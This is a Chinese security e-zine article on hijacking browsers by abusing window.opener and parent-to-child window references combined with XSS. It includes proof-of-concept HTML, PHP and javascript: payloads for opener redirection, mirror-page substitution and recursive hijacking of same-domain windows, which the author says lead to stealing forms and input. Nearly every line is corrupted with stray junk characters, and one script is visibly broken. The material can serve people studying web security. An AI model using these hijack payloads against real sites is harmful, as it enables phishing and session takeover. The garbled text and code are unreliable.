==Ph4nt0m Security Team==
2 k. u2 T% r# V- y, B
A) p2 r* ^/ F* h$ @, Z Issue 0x03, Phile #0x05 of 0x07
4 a% {2 h- \# n) D; H s# a
( u. p8 p' r9 |3 M2 n
% ~9 h/ n+ @& f|=---------------------------------------------------------------------------=|( b2 p1 f; m8 A. ~3 j
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|5 l9 L; g* N& x5 B* R
|=---------------------------------------------------------------------------=| \! M! R2 J' t: o; H
|=---------------------------------------------------------------------------=|: t2 s! X: Z! f9 t
|=------------------------=[ By rayh4c ]=---------------------------=|
. N- m5 C' {5 C. ]% p|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
% c* ~* T8 {% m* q|=---------------------------------------------------------------------------=|+ c9 W2 N2 R8 O; }5 M) b
' [2 A9 S$ {' \; J& ]9 p4 ]: g4 K& c, p1 X' F
[目录]
$ ]$ U! [6 D4 Y9 X y% U, s4 Y' Y) p9 D2 I
1. 前言! ^% n: \. J0 y& B' t w8 U7 x
2. 同源策略简叙
' } i5 r& G1 G/ a" R* ^9 l: z P) Y0 q3. 理解window对象的同源策略
2 l& f3 P6 Y7 J- p0 j8 T4. 窗口引用功能中的同源策略漏洞
8 J! h2 {! N5 ^1 b2 ~* n 4.1 父窗口引用子窗口的同源策略问题
& ] A' c( B: V- M4 m. r 4.2 子窗口引用父窗口的同源策略问题0 o* c; N8 D0 C0 N2 q
5. 利用窗口引用漏洞劫持浏览器
" N ?% M9 C4 z0 D2 M4 v1 t6. 利用XSS漏洞劫持浏览器
* v" k! C8 h% j. C 6.1 正向跨窗口劫持6 p1 i- N+ b$ ~; Q, r
6.2 反向跨窗口劫持
" }6 a0 u) @3 P( X6 b 6.3 极度危险的跨框架窗口引用劫持* w/ x! j/ {% O- |) z2 u. x
6.4 极度危险的正反向跨窗口递归劫持4 Q W% g4 Q( O! B$ _+ o2 f X
6.5 完全控制浏览器" D1 o6 g- M; a5 |
7. 后记/ W# R- S9 q2 z! C% z
8. 参考8 {( N+ d. X% L0 W/ a# R! R! g6 V# x/ C
# y- u* l, q6 v( X+ H) I! p2 z% W
0 `+ }2 G2 p) J0 I; J一、前言5 [. ^& E1 ^+ |. V8 `9 M* l3 j
- G+ b; u9 z2 {/ E% K
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
( X3 i A- P; _! |6 J4 f友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session& I6 Z* x6 a& o W) V9 y
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
/ a h; u& ]; V' E' L2 d3 m/ o1 m4 i条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
9 ]# k+ \" E& w* B; F4 s/ }+ c" R5 y+ o% n3 R' f8 `
9 R) X* k/ M+ n$ O# W二、同源策略简叙
% J* L# f! s) h5 W3 N9 t4 K
3 M0 r! y/ B. p0 d 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以# R3 m& F0 x( T! _( h
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
; J4 \2 Q/ A, i8 s7 k& v, {, S曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
; _! `# ~4 n+ M0 X, `马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个1 F' N0 i" M z' I9 e' I8 F) ^& j: ^9 d
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
- x: c1 M+ a2 ~- p& x2 t6 `; z) h/ Y9 U
9 z9 X) O7 ?" d T$ r. [& L
三、理解window对象的同源策略5 U- ]% |+ j% m, ]
$ L% ^ H6 b9 [6 z4 h 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
6 d) Y# O7 i [+ ~) s象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:3 k$ w3 G6 ?" F3 F: q
3 h ?5 J6 U) F n1 |1 D) b--code-------------------------------------------------------------------------$ Q0 d# Z& W6 U
<script language="javascript">! w# n# k4 G8 j; Y" r. j) Q' O0 x
for(p in window) document.write(p+"<br>");
2 ?0 f' h W& h+ Y2 g4 _</script>
. t% w: t0 J- O8 T) c1 s-------------------------------------------------------------------------------
/ a' t! J/ x0 l$ }' e* K- D0 d9 R6 [! b* ?% V# Q+ u" M
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
& o; t- @/ N# ?& d2 U, @/ L/ x法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,: z7 g0 Y. E) n0 d4 F
这些属性和方法就必须遵循同源策略。5 `9 S6 Y5 C$ Q' i. X# \8 I
# M+ w) t4 b! ~. N 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那3 t; Z1 c/ N; D+ u6 k
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须/ P9 H! h2 Q1 N8 T5 N C
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
2 J" {% t: Q2 i: J' \1 q个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
/ H$ w' ^2 n$ \) z% `) {: {值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
" t& p7 y, b ?5 h4 ?8 Q6 u属性并没有被拒绝访问。4 A# y9 L3 i: {7 h1 z
1 _, j2 H( H& ~+ I
--demo.html--------------------------------------------------------------------
% e2 s. |% P5 S<script language="javascript"> * x8 G9 t) B) }4 \
function allPrpos(obj) {
& o/ u4 }) h) E' S var props = "<table><tr><td>名称</td><td>值</td>"; 8 Q, o( {$ `; u9 D
for(var p in obj){
: m j" ?& u+ C5 X0 v if(typeof(obj[p])=="function"){ 0 t$ c$ h! _' \" | t4 M p
obj[p](); " a# T' b' v7 `/ E' m. V
}else{
* d- y6 E" [8 W! V7 v4 N try
% S# Z) L0 d5 E+ w; K2 z: Q {
8 n% {. H& V( j9 k9 W6 N props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; $ a' \5 H# `7 {4 y
}
$ J( }' f- f) E1 H' k6 ^3 K catch (ex)
Z+ T- N1 U, B9 ~+ K. o. \ {
: d4 s0 ]4 ~/ }8 a0 F5 A
! c) k5 o/ \1 _) y! X props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
7 f) c2 a% N8 L" y+ j }
7 i* j1 J5 `- U w, r) | 2 s6 z/ |7 P) c
}
- M9 e5 g+ e5 ^# m7 A+ R! \ }
+ d# \! Y+ V8 c2 U0 T * R6 {- v6 v4 `8 a5 L6 Z3 l* G
document.write(props+"</table>");
. M+ m0 h5 Q. b1 p, l}
' Q# t2 g( E% ?+ h0 l2 F : w" M, b+ ^& Q. q+ w) N+ X) {! x
function createWin() {
' v! N* k( H }) P newWin = window.open ("http://www.google.com"); 1 S; e: _+ H+ q+ n& o ~
setTimeout(function(){allPrpos(newWin)},2000); * X7 W, D1 x% A) s5 I# E& d
} % d3 Z/ ?9 ]+ P6 Q4 }7 r8 q
1 ?7 r" Y/ T* C3 }</script> 5 N; L; l/ _. R" ]
- B! X9 c2 E0 H" i4 j
<button onclick='createWin()'>创建一个非同源子窗口测试</button>8 q4 s7 P6 B, F
-------------------------------------------------------------------------------
; Q! s/ r8 v4 @ x4 v G- C7 _. x
+ i6 C* A' _1 u, I9 N
5 D1 X1 D: W$ ~$ r9 @: {1 x四、窗口引用功能中的同源策略漏洞
9 }8 _1 X- i4 @" ^* G q
8 J( z: _3 _! @# R7 Z9 e3 f4.1 父窗口引用子窗口的同源策略问题
& V& E- H! o/ H6 F' K* ^4 X6 A1 h4 d' y
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
N, S: [* Y$ L* h1 w2 ~3 P% h0 ~但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道5 P) I! K% F1 R( A! I1 z1 l
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进/ g& J: M7 _0 I( k2 E! L
行测试,会发现父窗口可以控制非同源子窗口location属性值。
3 y/ N8 @: m# ~3 U \- q5 a' d6 C0 v
--vul1.html--------------------------------------------------------------------0 K" G$ V- o# Z! C5 F) Z, t6 u
<script language="javascript"> # ?0 j1 ? \) [0 R7 c) ?5 W* j$ b
function createWin() { 4 I% t5 H5 w& N# g
newWin = window.open ("http://www.google.com");
- r% ~& J3 @3 m0 f# z: X setTimeout(function(){newWin.location="http://www.80sec.com"},2000); * N3 W; y8 w/ t m j
}
5 r6 v" u, F2 S# U N</script>
$ O$ y( `5 f1 K/ U8 Z9 T5 g \* t7 H* {- Q: @
<button onclick='createWin()'>创建一个非同源子窗口测试</button>7 m' }! t3 i: t
-------------------------------------------------------------------------------
7 l# K: d" L& _8 P' \/ ?" T& ~9 q Z1 d* e( l
2 o& g/ v5 v! ~
4.2 子窗口引用父窗口的同源策略问题
4 X, i+ {1 D# R1 g" Q) [3 x$ A6 L: m8 m3 f) h$ n+ y$ n6 H
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
" r7 H$ c; v9 D用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们7 a% o* t* _! o! [3 ~4 X$ ?
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
5 ` W, F. E0 S9 e/ [) s8 w会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。6 ]3 r! r) _$ R6 s9 X
+ m! J ]% x* ~
--code-------------------------------------------------------------------------
3 a5 ^) q+ W9 l' {1 D. [0 a0 s# V8 b# O" E$ g, n7 `& l7 w+ @8 l
javascript:window.opener.location = "http://www.80sec.com";void(0);" E4 }( e1 e# z- P3 G3 Y
- |6 x9 `+ p( t; d7 C------------------------------------------------------------------------------- o4 s' ?7 q0 k3 d% X" f6 u# K% g
2 j$ {4 S7 T1 K* X$ u x ~' \. c6 k$ \5 g* q- p+ d* Z! \, w% q
五、利用窗口引用漏洞劫持浏览器4 ^7 _ Y& \& M5 q+ [3 g2 h
" R$ Z' {8 A. T 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
8 g% Y( X; @5 n6 u& R1 \9 n窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
: @/ p4 S1 g* [" y- S. M! h么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。. n1 b- G9 L v7 W; E# @, J
) }" c9 q M' S! g- \; P1 }# @
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
3 C# \; n0 p& m. @+ T' l5 N生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或) L* _' ]$ P- S: @- D& t' K1 Y. p) ?
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
0 E$ r1 s F4 ~3 Z后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
9 v3 S0 v) ~/ T# Z# D; J! n会产生什么可怕的后果。9 ]/ F; j# w& n$ G
% W7 S* x* u( b 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
9 H- A1 C2 J1 M* \$ \/ ]: i们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
5 B! q* w/ ^% e" Y这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时2 P# g, o1 N+ F! C
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可4 ]! T& w2 ?3 K, M) J0 Q' m
以做更多的事情,所有的一切仅仅是因为点击了一个链接。 q, x4 m# s2 ~ @
: ], d6 \" _" X L* W- z
--hjk_ref.php------------------------------------------------------------------4 l7 {6 |/ ]: p% {3 \/ y0 v
<?php7 j8 w( j! \8 U# k$ P& D5 [! l
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
1 W- v+ _- P1 T0 H4 l8 c& @$Url_Mirror = $_SERVER["HTTP_REFERER"];# n2 J' a' S% s
}
" c5 ?! [0 ~* Pif(isset ($_GET['ref'])) {
; a( ~8 l* L' m& B; M, m# ^echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
1 m. r2 s/ G& z. ~/ g# a& \$ T}
( H- Y+ j5 {( S" ^?>
4 [9 g( H* _8 R, B4 o" ]; M5 I) h2 a3 u- H/ u- ^, ^
<script language="javascript">
4 |0 D, T& c: _( ?& HsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
# Z n8 H" |5 e% n+ N* Z9 G</script>5 A! F6 _* G% Q" F
-------------------------------------------------------------------------------
; T1 c, R2 c% w( t" H+ R2 N5 h! c, J7 Q4 d
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
: p( C: T- }( V; l8 H! @2 x: j& }7 a# ?' B, j7 ]" A) u
6 B+ f! j" ?* ~六、利用XSS漏洞劫持浏览器
2 y' L, G5 a. f$ i) l) U: |% g7 V! O. _
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
5 f8 Z- r% T4 Y2 |$ C' R持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
* u0 S# U8 _! H# X! `XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
( p( d' I2 _8 ?; U% ~4 \" K" R讨论跨站师的终极技巧:* g/ D+ `' `5 z. c
2 G/ e6 T7 B' G8 W+ ]6 w5 R4 c# C& g! z1 R- i
6.1 正向跨窗口劫持6 l" X* t$ d; ?5 F. r$ y
1 H; Q* S8 x2 m4 y! {
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
8 y+ p. j/ i( \4 p$ ^8 H主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
0 v4 X9 d0 y# {& A5 J x6 E; u/ C接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
5 X! r) R# B/ |& S0 S框脚本。 1 \$ p4 n/ z! j$ S2 I% M* ]
; S N) m9 ]1 b( X9 G' @/ l
--hijack_open.js---------------------------------------------------------------
: N; c8 K# P- N/ }, H$ K2 j9 ~8 X
( ]' \& R. {6 Y9 `! F( d2 m% Rjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
Q. o# i( {* _ A; j6 S
+ A$ y$ c: \/ |% L" g------------------------------------------------------------------------------- X4 `0 w' @7 |( A/ m" u
; h* `+ W: G0 e
8 c3 B: F) G7 m! Y! e5 k6 X9 V
6.2 反向跨窗口劫持5 r* N9 L, f* f+ z4 R
' X) J# n8 Y p \5 P9 g/ y1 Q 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
- {1 x ]2 h% u+ M. c. v8 o. ?3 i7 t4 v码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
; U* k* _$ J0 J7 t" Z2 q! W0 D# _框脚本。
) B9 a p& G( J, b1 R3 X% Z
% q7 e$ f5 A4 \6 c" ~9 b--hijack_opener.js-------------------------------------------------------------& ]% D) v% |2 B# [# m ]
! d) ]2 l6 Q' D
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
( V# i: L+ Y0 _( x7 o/ d4 [7 `6 q$ |$ t/ U; d7 y
-------------------------------------------------------------------------------* E! r$ n7 j5 I# x7 e: V
]: S( s+ j( ~" w% M! J) m6 P" H/ u u, t: H* Y5 B2 A+ R
6.3 极度危险的跨框架窗口引用劫持
9 o( t: b/ P2 I1 Q5 `# C" Y% x; p+ x+ N1 T
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
! B N5 i( {7 E可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
$ w1 P- B/ w4 P. X; s6 n; [* D适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个% v& s8 ^5 [; K+ q- B( {/ v
非持久型的XSS,如下:& f7 I* P& H. [: o. X( }
R e' G# R( `. ]<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
5 X0 t4 C4 d( U' A( O( z1 X% t# m0 q* ^( l' W; F
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口) h2 m( }/ c. v. O9 {$ {8 M0 o: b
注入脚本。 i- i& R* Z3 O
, [# a G7 _, o9 D
--hijack_frame_opener.js-------------------------------------------------------5 j) v: p B( K) v& _2 H. k0 v
<script>
5 V1 W6 c% J) qwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";! Z2 G4 L8 m i" B4 h
</script>& q# i' m7 ?" l) _
-------------------------------------------------------------------------------$ J; q& P' R# ~: e8 ?; ]* N
p3 X! F7 [" Y* |- v- W) Y5 z' u0 {: ~, x& H7 a) g
6.4 极度危险的正反向跨窗口递归劫持) H$ {- q. @( X! v" j4 k2 ~' ~
/ x6 s/ b, T6 N
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window3 |/ z/ D5 s4 M% a: Q
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
3 @1 K3 H' z2 ~8 p. [异常处理规避之间跨域页面的访问异常,代码如下:+ i Z7 F+ U" v% h
/ V) ]" G' [! V" D6 b--code-------------------------------------------------------------------------5 `8 S* e0 @ X" i8 L' A
) u; ^. H, |7 ?6 a7 v+ f& k. t$ d( Sjavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
6 k7 L4 i8 D+ a5 @, f G' W; ` T2 S$ w+ H, y
-------------------------------------------------------------------------------; r0 ]) R1 j. [
+ ~$ j4 B6 h9 {# K 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
K+ v8 v" V9 g6 G. b7 _' J以劫持B域之前的A域页面,从而实现“隔空打击”。
$ w7 d! Y8 D+ Q& u) O. X. @4 w; I
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
2 z7 M1 E" f- V$ C执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
6 a6 Z3 e/ I( h( y9 v) O6 A; ^( j7 \) x; r1 Y0 w
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。& X$ i t5 \9 S8 h Z# B1 A" ?
- o( x7 u6 m7 u6 b
3 J* l9 q$ s( [3 N9 P6.5 完全控制浏览器
4 H+ ^; U+ }$ H9 v/ a% ^9 @+ w' T5 v T3 E7 U8 l
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
8 e8 A! C& d a. S1 Y, t是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
U3 Y. P7 p* G8 j漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失5 C( a/ m: l) K" @
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再% z$ N6 |% X& K! E
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站. B) L0 ]* u- r3 Q* v
师的终极目标 - 完全控制浏览器。& x$ b+ g7 r9 o! w
" a( b, k; O! ]0 s4 r( m
" O0 _, Q* S7 D# |+ _5 ~( l七、后记
4 v' Q6 E5 K0 P9 `+ H& F0 h: Y" s! ]& I- ?: [( N
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
5 [% U7 N; ]8 I# D: E0 Z, a4 ]与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予3 J! n8 X. @+ T! m/ H5 q
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。% E: L+ |3 Z% S: o
' ]9 }6 S" `) c( v: P# `6 V
/ i0 ?! E+ r8 M; {八、参考
* c& R3 s. N! x9 D+ v% H& z- w1 ]3 u3 |2 Z
1. http://en.wikipedia.org/wiki/Same_origin_policy, f4 ]3 `; L; q- S6 _% W) f( W. c
2. http://code.google.com/p/browser ... licy_for_DOM_access5 v7 q) r: j8 d9 R) p! H
3. http://www.w3.org/TR/Window/2 @( b7 [" c9 R% w
4. http://www.80sec.com/release/browser-hijacking.txt Z+ M! d6 u- ~$ E1 Y) m# Z4 ~
5. http://www.80sec.com/all-browser-security-alert.html! ^9 f% h- @6 W) h; S4 J* u2 t- G
6. http://www.80sec.com/ms08-058-attacks-google.html9 d$ i, j) L1 d- m2 f6 c0 g0 }
9 m3 e h7 A0 G# v3 ]
-EOF- |